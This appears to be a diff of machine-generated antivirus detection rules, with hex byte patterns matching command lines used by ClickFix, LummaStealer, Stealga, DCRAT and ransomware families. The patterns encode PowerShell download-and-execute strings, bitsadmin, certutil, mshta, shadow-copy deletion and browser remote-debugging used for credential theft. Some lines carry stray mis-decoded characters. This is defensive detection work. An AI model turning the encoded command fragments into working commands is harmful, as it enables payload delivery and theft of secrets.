"!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 05 00 21 " - - strings : - $a_4c_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 61 63 4f 53 2f 53 75 73 70 54 69 6d 65 73 74 6f 6d 70 2e 50 31 00 0a 00 10 00 74 00 6f 00 75 00 63 00 68 00 20 00 2d 00 74 00 0a 00 10 00 74 00 6f 00 75 00 63 00 68 00 20 00 2d } //21539 - $a_00_3 = {63 00 68 00 20 00 2d 00 61 00 0a 00 10 00 74 00 6f 00 75 00 63 00 68 00 20 00 2d 00 72 00 0a 00 10 00 74 00 6f 00 75 00 63 00 68 00 20 00 2d 00 64 00 00 00 d7 ab 00 00 0a 00 0a 00 01 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 61 63 4f 53 2f 53 75 73 70 53 6f 66 74 77 61 72 65 44 69 73 63 6f 76 65 72 79 2e 42 32 00 0a 00 71 02 70 00 6c 00 69 } //111 - condition: - ((#a_4c_0 & 1)*21539+(#a_00_3 & 1)*111) >=10 - -} -rule _InfrastructureShared_25875{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 21 " - - strings : - $a_4c_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 61 63 4f 53 2f 53 75 73 70 53 6f 66 74 77 61 72 65 44 69 73 63 6f 76 65 72 79 2e 42 32 00 0a 00 71 02 70 00 6c 00 69 00 73 00 74 00 62 00 75 00 64 00 64 00 79 00 90 02 80 2f 00 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=10 - -} -rule _InfrastructureShared_25876{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 21 " - - strings : - $a_4c_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 61 63 4f 53 2f 53 75 73 70 53 6f 66 74 77 61 72 65 44 69 73 63 6f 76 65 72 79 2e 42 31 00 0a 00 89 02 70 00 6c 00 69 00 73 00 74 00 62 00 75 00 64 00 64 00 79 00 90 02 80 2f 00 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=10 - -} -rule _InfrastructureShared_25877{ +rule _InfrastructureShared_27189{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,16 00 16 00 02 00 21 " @@ -338773,7 +355664,7 @@ rule _InfrastructureShared_25877{ ((#a_4c_0 & 1)*21539) >=22 } -rule _InfrastructureShared_25878{ +rule _InfrastructureShared_27190{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 02 00 21 " @@ -338784,28 +355675,42 @@ rule _InfrastructureShared_25878{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*-6400) >=11 } -rule _InfrastructureShared_25879{ +rule _InfrastructureShared_27191{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 61 6b 65 63 61 62 41 62 75 73 65 2e 41 00 0a 00 0e 00 6d 00 61 00 6b 00 65 00 63 00 61 00 62 00 00 00 d7 5e 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 } //21539 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 61 6b 65 63 61 62 41 62 75 73 65 2e 41 00 0a 00 0e 00 6d 00 61 00 6b 00 65 00 63 00 61 00 62 00 00 00 d7 85 00 00 0c 00 0c 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 } //21539 condition: ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_25880{ +rule _InfrastructureShared_27192{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0c 00 0c 00 04 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 47 21 4d 54 42 00 01 00 12 00 6d 00 68 00 73 00 74 00 61 00 2e 00 65 00 78 00 65 00 01 00 08 00 68 00 74 00 74 00 70 00 01 00 0e 00 2e 00 6d } //21539 - $a_00_2 = {3d 00 00 00 d7 a7 00 00 04 00 04 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6f 77 45 6e 63 54 65 63 2e 41 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 36 00 5b 00 63 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 66 00 72 00 6f 00 6d 00 62 00 61 00 73 00 65 00 36 00 } //63 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 47 21 4d 54 42 00 01 00 12 00 6d 00 68 00 73 00 74 00 61 00 2e 00 65 00 78 00 65 00 01 00 08 00 68 00 74 00 74 00 70 00 0a 00 0e 00 2e 00 6d } //21539 + $a_00_2 = {3d 00 0a 00 23 02 2e 00 6d 00 70 00 34 00 90 02 3c 23 00 6c 00 65 00 74 00 73 00 20 00 77 00 61 00 74 00 63 00 68 00 90 00 00 00 d7 a1 00 00 65 00 65 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 47 47 43 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 12 00 } //63 + $a_00_3 = {74 00 73 00 61 00 64 00 6d 00 69 00 6e 00 64 00 0f 02 68 00 74 00 74 00 70 00 90 02 ff 23 00 90 00 64 00 30 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 23 00 20 00 00 00 d7 a7 00 00 04 00 04 00 05 00 21 23 53 4c 46 3a 54 72 } //98 condition: - ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*63) >=3 + ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*63+(#a_00_3 & 1)*98) >=12 } -rule _InfrastructureShared_25881{ +rule _InfrastructureShared_27193{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 47 47 43 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 12 00 62 00 69 00 74 00 73 00 61 00 64 00 6d 00 69 00 6e 00 } //21283 + $a_02_1 = {68 00 74 00 74 00 70 00 [0-ff] 23 00 } //100 + $a_00_2 = {20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 23 00 20 00 } //100 # + $a_a7_3 = {00 04 00 04 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6f 77 45 6e 63 54 65 63 2e 41 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 36 00 5b 00 63 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 66 00 72 00 6f 00 6d 00 62 00 61 00 73 00 65 00 36 00 34 00 73 00 74 00 72 00 69 00 6e 00 67 00 01 00 0c 00 68 00 69 00 64 00 64 00 65 00 6e 00 01 00 0a 00 7c 00 20 00 69 00 65 00 78 00 9c ff 08 00 68 00 74 00 74 00 70 00 00 00 d7 b7 00 00 14 00 14 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 73 63 4c 6f 6c 62 69 6e 2e 41 00 05 00 44 00 43 00 } //0 + condition: + ((#a_46_0 & 1)*21283+(#a_02_1 & 1)*100+(#a_00_2 & 1)*100+(#a_a7_3 & 1)*0) >=101 + +} +rule _InfrastructureShared_27194{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 05 00 21 " @@ -338818,7 +355723,7 @@ rule _InfrastructureShared_25881{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*114+(#a_00_3 & 1)*5+(#a_00_4 & 1)*5) >=4 } -rule _InfrastructureShared_25882{ +rule _InfrastructureShared_27195{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,14 00 14 00 05 00 21 " @@ -338832,7 +355737,7 @@ rule _InfrastructureShared_25882{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*46+(#a_00_2 & 1)*116+(#a_f6_3 & 1)*-17190+(#a_70_4 & 1)*28530) >=20 } -rule _InfrastructureShared_25883{ +rule _InfrastructureShared_27196{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 03 00 21 " @@ -338843,7 +355748,7 @@ rule _InfrastructureShared_25883{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*98) >=101 } -rule _InfrastructureShared_25884{ +rule _InfrastructureShared_27197{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 03 00 21 " @@ -338854,7 +355759,7 @@ rule _InfrastructureShared_25884{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*112) >=101 } -rule _InfrastructureShared_25885{ +rule _InfrastructureShared_27198{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -338865,58 +355770,91 @@ rule _InfrastructureShared_25885{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*47) >=2 } -rule _InfrastructureShared_25886{ +rule _InfrastructureShared_27199{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_4c_0 = {57 69 6e 33 32 2f 53 75 73 43 6c 6f 75 45 78 65 63 2e 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 08 00 77 00 67 00 65 00 74 00 01 00 27 02 68 00 74 00 74 00 70 00 90 } //21539 $a_00_1 = {63 00 6c 00 6f 00 75 00 64 00 2d 00 78 00 69 00 70 00 2e 00 69 00 6f 00 90 00 00 00 d7 71 00 00 05 00 05 00 05 00 21 23 53 4c 46 3a 54 72 } //15362 - $a_6e_2 = {57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 4c 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 08 00 68 00 74 00 74 00 70 00 01 00 04 00 5c 00 31 00 01 00 0a 00 69 00 65 00 78 00 20 00 24 00 01 00 08 00 63 00 75 00 72 00 6c 00 00 00 d7 9c 00 } //27247 + $a_6e_2 = {57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 4c 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 08 00 68 00 74 00 74 00 70 00 01 00 04 00 5c 00 31 00 01 00 0a 00 69 00 65 00 78 00 20 00 24 00 01 00 08 00 63 00 75 00 72 00 6c 00 00 00 d7 7c 00 } //27247 condition: ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*15362+(#a_6e_2 & 1)*27247) >=3 } -rule _InfrastructureShared_25887{ +rule _InfrastructureShared_27200{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 4c 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 08 00 68 00 74 00 74 00 70 00 01 00 04 00 5c 00 31 00 01 00 0a } //21283 - $a_00_2 = {24 00 01 00 08 00 63 00 75 00 72 00 6c 00 00 00 d7 9c 00 00 1a 00 1a 00 05 00 21 23 53 4c 46 3a } //120 - $a_6a_3 = {6e 3a 57 69 6e 33 32 2f 52 61 6e 73 6f 6d 45 6e 75 6d 7a 2e 44 41 21 4d 54 42 00 05 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 14 00 73 00 68 00 61 00 64 00 6f 00 77 00 63 00 6f 00 70 00 79 00 0a 00 10 00 73 00 68 00 61 00 64 00 6f 00 77 00 69 00 64 00 01 00 1a 00 67 00 65 00 74 00 2d 00 77 00 6d 00 } //29268 - $a_00_4 = {62 00 6a 00 65 00 63 00 74 00 01 00 08 00 67 00 77 00 6d 00 69 00 00 00 d7 9d 00 00 28 00 28 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 43 6c 69 63 6b 46 69 78 2e 50 44 21 4d 54 42 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 1a 00 4e 00 65 00 74 00 2e 00 57 } //105 + $a_00_2 = {24 00 01 00 08 00 63 00 75 00 72 00 6c 00 00 00 d7 7c 00 00 78 00 78 00 03 00 21 23 53 4c 46 3a } //120 + $a_6a_3 = {6e 3a 57 69 6e 33 32 2f 44 43 52 41 54 2e 44 41 21 4d 54 42 00 64 00 14 00 73 00 74 00 72 00 69 00 70 00 63 00 68 00 61 00 72 00 74 00 0a 00 26 00 2f 00 63 00 6f 00 6d 00 70 00 75 00 74 00 65 00 72 00 3a 00 6c 00 6f 00 63 00 61 00 6c 00 68 00 6f 00 73 00 74 00 0a 00 0e 00 2f 00 70 00 65 00 72 00 69 00 6f 00 64 00 00 00 d7 98 00 00 } //29268 + $a_00_4 = {03 } //1 condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*120+(#a_6a_3 & 1)*29268+(#a_00_4 & 1)*105) >=5 + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*120+(#a_6a_3 & 1)*29268+(#a_00_4 & 1)*1) >=5 } -rule _InfrastructureShared_25888{ +rule _InfrastructureShared_27201{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,78 00 78 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 43 52 41 54 2e 44 41 21 4d 54 42 00 64 00 14 00 73 00 74 00 72 00 69 00 70 00 63 00 68 00 61 00 72 00 74 00 0a 00 26 00 2f 00 63 00 6f 00 6d 00 70 00 75 00 74 00 65 00 72 00 3a 00 6c 00 } //21283 + $a_00_1 = {61 00 6c 00 68 00 6f 00 73 00 74 00 0a 00 0e 00 2f 00 70 00 65 00 72 00 69 00 6f 00 64 00 00 00 d7 98 00 00 01 00 01 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 49 70 43 6f 6e 66 52 65 2e 42 00 01 00 24 00 2f 00 63 00 20 00 69 00 70 00 63 00 6f 00 6e 00 66 00 69 00 67 00 20 } //111 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*111) >=120 + +} +rule _InfrastructureShared_27202{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 49 70 43 6f 6e 66 52 65 2e 42 00 01 00 24 00 2f 00 63 00 20 00 69 00 70 00 63 00 6f 00 6e 00 66 00 69 00 67 00 20 00 2f 00 72 00 65 00 6e 00 65 00 77 00 01 00 28 00 2f 00 63 00 20 00 69 00 } //21283 + $a_00_1 = {6f 00 6e 00 66 00 69 00 67 00 20 00 2f 00 72 00 65 00 6c 00 65 00 61 00 73 00 65 00 9c ff 1a 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 66 00 69 00 6c 00 65 00 73 00 00 00 d7 99 00 00 01 00 01 00 06 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 45 21 } //112 + $a_00_2 = {01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 12 00 62 00 69 00 74 00 73 00 61 00 64 00 6d 00 69 00 6e 00 01 00 10 00 63 00 65 00 72 00 74 00 75 00 74 00 69 00 6c 00 } //21581 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*112+(#a_00_2 & 1)*21581) >=1 + +} +rule _InfrastructureShared_27203{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 06 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 45 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 12 00 62 00 69 00 74 00 73 00 61 00 64 00 6d 00 69 00 6e 00 01 00 10 } //21283 牔橯湡场湩㈳䘯汩䙥硩䔮䴡䉔Ā᐀瀀漀眀攀爀猀栀攀氀氀Āሀ戀椀琀猀愀搀洀椀渀Āက + $a_00_2 = {75 00 74 00 69 00 6c 00 01 00 08 00 63 00 75 00 72 00 6c 00 01 00 10 00 72 00 65 00 67 00 73 00 76 00 72 00 33 00 32 00 01 00 0a 00 6d 00 73 00 68 00 74 00 61 00 00 00 d7 9c 00 00 1a 00 1a 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 61 6e 73 6f 6d 45 6e 75 6d 7a 2e 44 41 21 4d 54 42 00 05 00 14 00 70 00 6f 00 77 00 65 00 } //114 + $a_00_3 = {68 00 65 00 6c 00 6c 00 0a 00 14 00 73 00 68 00 61 00 64 00 6f 00 77 00 63 00 6f 00 70 00 79 00 0a 00 10 00 73 00 68 00 61 00 64 00 6f 00 77 00 69 00 64 00 01 00 1a 00 67 00 65 00 74 00 2d 00 77 00 6d 00 69 00 6f 00 62 00 6a 00 65 00 63 00 74 00 01 00 08 00 67 00 77 00 6d 00 69 00 00 00 d7 a0 00 00 64 00 64 00 01 00 21 23 53 4c 46 3a 54 72 6f } //114 + $a_3a_4 = {69 6e 33 32 2f 53 74 65 61 6c 67 61 2e 44 42 21 4d 54 42 00 64 00 72 00 2d 00 2d 00 72 00 65 00 6d 00 6f 00 74 00 65 00 2d 00 64 00 65 00 62 00 75 00 67 00 67 00 69 00 6e 00 67 00 2d 00 70 00 6f 00 72 00 74 00 3d 00 39 00 32 00 32 00 33 00 20 00 2d 00 2d 00 70 00 72 00 6f 00 66 00 69 00 6c 00 65 00 2d 00 64 00 69 00 72 00 65 00 } //24938 湩㈳匯整污慧䐮⅂呍Bdr--remote-debugging-port=9223 --profile-dire + $a_00_5 = {6f 00 72 00 79 00 3d 00 22 00 44 00 65 00 66 00 61 00 75 00 6c 00 74 00 00 00 d7 a7 00 00 32 00 32 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 43 6c 69 63 6b 2e 46 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 10 00 2d 00 6a 00 6f 00 69 00 6e 00 20 00 28 } //99 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*114+(#a_00_3 & 1)*114+(#a_3a_4 & 1)*24938+(#a_00_5 & 1)*99) >=1 + +} +rule _InfrastructureShared_27204{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,1a 00 1a 00 05 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 61 6e 73 6f 6d 45 6e 75 6d 7a 2e 44 41 21 4d 54 42 00 05 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 14 00 73 00 68 00 61 00 64 00 6f 00 77 00 63 00 6f 00 } //21283 - $a_00_1 = {0a 00 10 00 73 00 68 00 61 00 64 00 6f 00 77 00 69 00 64 00 01 00 1a 00 67 00 65 00 74 00 2d 00 77 00 6d 00 69 00 6f 00 62 00 6a 00 65 00 63 00 74 00 01 00 08 00 67 00 77 00 6d 00 69 00 00 00 d7 9d 00 00 28 00 28 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 43 6c 69 63 6b 46 69 78 2e 50 44 21 4d 54 42 00 0a 00 14 00 70 00 6f } //112 - $a_00_3 = {68 00 65 00 6c 00 6c 00 0a 00 1a 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 0a 00 1c 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 0a 00 13 02 68 00 74 00 74 00 70 00 90 02 02 3a 00 2f 00 2f 00 90 00 00 00 d7 a7 00 00 32 00 32 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a } //114 - $a_57_4 = {6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 43 6c 69 63 6b 2e 46 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 10 00 2d 00 6a 00 6f 00 } //28257 + $a_00_1 = {0a 00 10 00 73 00 68 00 61 00 64 00 6f 00 77 00 69 00 64 00 01 00 1a 00 67 00 65 00 74 00 2d 00 77 00 6d 00 69 00 6f 00 62 00 6a 00 65 00 63 00 74 00 01 00 08 00 67 00 77 00 6d 00 69 00 00 00 d7 a0 00 00 64 00 64 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 65 61 6c 67 61 2e 44 42 21 4d 54 42 00 64 00 72 00 2d 00 2d 00 72 00 65 00 6d } //112 + $a_00_3 = {64 00 65 00 62 00 75 00 67 00 67 00 69 00 6e 00 67 00 2d 00 70 00 6f 00 72 00 74 00 3d 00 39 00 32 00 32 00 33 00 20 00 2d 00 2d 00 70 } //101 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*112+(#a_00_3 & 1)*114+(#a_57_4 & 1)*28257) >=26 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*112+(#a_00_3 & 1)*101) >=26 } -rule _InfrastructureShared_25889{ +rule _InfrastructureShared_27205{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,28 00 28 00 04 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,64 00 64 00 01 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 43 6c 69 63 6b 46 69 78 2e 50 44 21 4d 54 42 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 1a 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 } //21283 - $a_00_1 = {69 00 65 00 6e 00 74 00 0a 00 1c 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 0a 00 13 02 68 00 74 00 74 00 70 00 90 02 02 3a 00 2f 00 2f 00 90 00 00 00 d7 a7 00 00 32 00 32 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 43 6c } //67 - $a_2e_2 = {00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 10 00 2d 00 6a 00 6f 00 69 00 6e 00 20 00 28 00 28 00 0a 00 14 00 47 00 65 00 74 00 2d 00 52 00 61 00 6e 00 64 00 6f 00 6d 00 0a 00 1c 00 46 00 6f 00 72 00 45 00 61 00 63 00 68 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 0a 00 10 00 5b 00 } //25449 - $a_00_3 = {61 00 72 00 5d 00 24 00 5f 00 00 00 d7 b4 00 00 33 00 33 00 06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 43 6c 69 63 6b 46 69 78 2e 42 45 21 4d 54 42 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 08 00 68 00 74 00 74 00 70 00 0a 00 22 00 49 00 } //99 + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 65 61 6c 67 61 2e 44 42 21 4d 54 42 00 64 00 72 00 2d 00 2d 00 72 00 65 00 6d 00 6f 00 74 00 65 00 2d 00 64 00 65 00 62 00 75 00 67 00 67 00 69 00 6e 00 67 00 2d 00 70 00 6f 00 72 00 } //21283 牔橯湡场湩㈳匯整污慧䐮⅂呍Bdr--remote-debugging-por condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*67+(#a_2e_2 & 1)*25449+(#a_00_3 & 1)*99) >=40 + ((#a_46_0 & 1)*21283) >=100 } -rule _InfrastructureShared_25890{ +rule _InfrastructureShared_27206{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,32 00 32 00 05 00 21 " @@ -338929,33 +355867,58 @@ rule _InfrastructureShared_25890{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*110+(#a_00_2 & 1)*70+(#a_00_4 & 1)*108) >=50 } -rule _InfrastructureShared_25891{ +rule _InfrastructureShared_27207{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,33 00 33 00 06 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 43 6c 69 63 6b 46 69 78 2e 42 45 21 4d 54 42 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 08 00 68 00 74 00 74 00 70 } //21539 - $a_00_2 = {76 00 6f 00 6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 0a 00 22 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 45 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 0a 00 04 00 5c 00 31 00 01 00 08 00 2e 00 74 00 78 00 74 00 00 00 d7 c0 00 00 10 00 10 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a } //73 - $a_57_3 = {6e 33 32 2f 52 61 6e 73 6f 6d 45 6e 75 6d 7a 2e 44 42 21 4d 54 42 00 05 00 0e 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 0a 00 08 00 65 00 63 00 68 00 6f 00 01 00 1c 00 6c } //28257 - $a_00_5 = {6f 00 6f 00 74 00 75 00 70 00 74 00 69 00 6d 00 65 00 01 00 0e 00 73 00 74 00 61 00 72 00 74 00 75 00 70 00 01 00 3e 00 41 00 64 00 64 00 2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 2d 00 45 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 50 00 61 00 } //116 + $a_00_2 = {76 00 6f 00 6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 0a 00 22 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 45 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 0a 00 04 00 5c 00 31 00 01 00 08 00 2e 00 74 00 78 00 74 00 00 00 d7 b5 00 00 28 00 28 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a } //73 + $a_50_3 = {77 65 72 53 68 65 6c 6c 2f 43 6c 69 63 6b 46 69 78 2e 50 44 21 4d 54 42 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 1a 00 4e 00 65 00 74 } //28257 + $a_00_5 = {43 00 6c 00 69 00 65 00 6e 00 74 00 0a 00 1c 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 0a 00 13 02 68 00 74 00 74 00 70 00 90 02 02 3a 00 2f 00 2f 00 90 00 9c ff 14 00 63 00 68 00 6f 00 63 00 6f 00 6c 00 61 00 74 00 65 00 79 00 00 00 d7 c0 00 00 10 } //101 condition: - ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*73+(#a_57_3 & 1)*28257+(#a_00_5 & 1)*116) >=51 + ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*73+(#a_50_3 & 1)*28257+(#a_00_5 & 1)*101) >=51 } -rule _InfrastructureShared_25892{ +rule _InfrastructureShared_27208{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,28 00 28 00 05 00 21 " + + strings : + $a_46_0 